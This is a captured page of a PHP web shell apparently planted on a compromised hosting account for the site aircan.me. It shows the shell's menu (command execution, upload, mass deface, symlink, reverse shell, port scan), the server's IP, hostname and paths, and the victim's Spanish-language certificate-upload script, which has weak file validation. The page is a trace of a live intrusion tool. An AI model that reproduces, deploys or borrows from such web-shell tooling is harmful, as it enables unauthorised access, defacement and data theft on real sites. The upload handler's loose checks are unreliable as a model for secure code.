Tul xxx Tul
User / IP
:
216.73.216.159
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
daniel
/
assets
/
php
/
Viewing: upload_certificate.php
<?php session_start(); if (!isset($_SESSION['user_id'])) { header("Location: /0.14-Curriculum_Daniel/admin/login.php"); exit(); } require_once __DIR__ . '/db.php'; try { $pdo = db(); } catch (PDOException $e) { die('Error de conexión: ' . $e->getMessage()); } function isAjax() { return isset($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) === 'xmlhttprequest'; } if ($_SERVER["REQUEST_METHOD"] == "POST") { $title = trim($_POST['certificate_title']); $target_dir = "../../assets/img/certificados/"; // Crear directorio si no existe if (!file_exists($target_dir)) { mkdir($target_dir, 0777, true); } $target_file = $target_dir . basename($_FILES["certificate_image"]["name"]); $uploadOk = 1; $imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION)); // Verificar si el archivo es una imagen $check = getimagesize($_FILES["certificate_image"]["tmp_name"]); if($check !== false) { $uploadOk = 1; } else { if (isAjax()) { http_response_code(400); header('Content-Type: application/json'); echo json_encode(['ok'=>false,'error'=>'El archivo no es una imagen']); exit(); } $msg = rawurlencode('El archivo no es una imagen'); header("Location: /0.14-Curriculum_Daniel/admin/dashboard.php?error=$msg#certificates-tab"); exit(); } // Verificar tamaño del archivo (límite 5MB) if ($_FILES["certificate_image"]["size"] > 5000000) { if (isAjax()) { http_response_code(400); header('Content-Type: application/json'); echo json_encode(['ok'=>false,'error'=>'El archivo es demasiado grande']); exit(); } $msg = rawurlencode('El archivo es demasiado grande'); header("Location: /0.14-Curriculum_Daniel/admin/dashboard.php?error=$msg#certificates-tab"); exit(); } // Permitir solo ciertos formatos if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg" && $imageFileType != "gif" ) { if (isAjax()) { http_response_code(400); header('Content-Type: application/json'); echo json_encode(['ok'=>false,'error'=>'Solo se permiten archivos JPG, JPEG, PNG y GIF']); exit(); } $msg = rawurlencode('Solo se permiten archivos JPG, JPEG, PNG y GIF'); header("Location: /0.14-Curriculum_Daniel/admin/dashboard.php?error=$msg#certificates-tab"); exit(); } // Verificar si todo está bien para subir el archivo if ($uploadOk == 0) { if (isAjax()) { http_response_code(500); header('Content-Type: application/json'); echo json_encode(['ok'=>false,'error'=>'Error al subir el archivo']); exit(); } $msg = rawurlencode('Error al subir el archivo'); header("Location: /0.14-Curriculum_Daniel/admin/dashboard.php?error=$msg#certificates-tab"); exit(); } else { if (move_uploaded_file($_FILES["certificate_image"]["tmp_name"], $target_file)) { // Guardar información en la base de datos $relative_path = "assets/img/certificados/" . basename($_FILES["certificate_image"]["name"]); $stmt = $pdo->prepare("INSERT INTO certificates (title, image_path) VALUES (:title, :image_path)"); $stmt->bindParam(':title', $title); $stmt->bindParam(':image_path', $relative_path); $stmt->execute(); if (isAjax()) { $id = (int)$pdo->lastInsertId(); header('Content-Type: application/json'); echo json_encode(['ok'=>true, 'id'=>$id, 'title'=>$title, 'image_path'=>$relative_path]); exit(); } header("Location: /0.14-Curriculum_Daniel/admin/dashboard.php?ok=1#certificates-tab"); exit(); } else { if (isAjax()) { http_response_code(500); header('Content-Type: application/json'); echo json_encode(['ok'=>false,'error'=>'Error al subir el archivo']); exit(); } $msg = rawurlencode('Error al subir el archivo'); header("Location: /0.14-Curriculum_Daniel/admin/dashboard.php?error=$msg#certificates-tab"); exit(); } } } ?>
Coded With 💗 by
0x6ick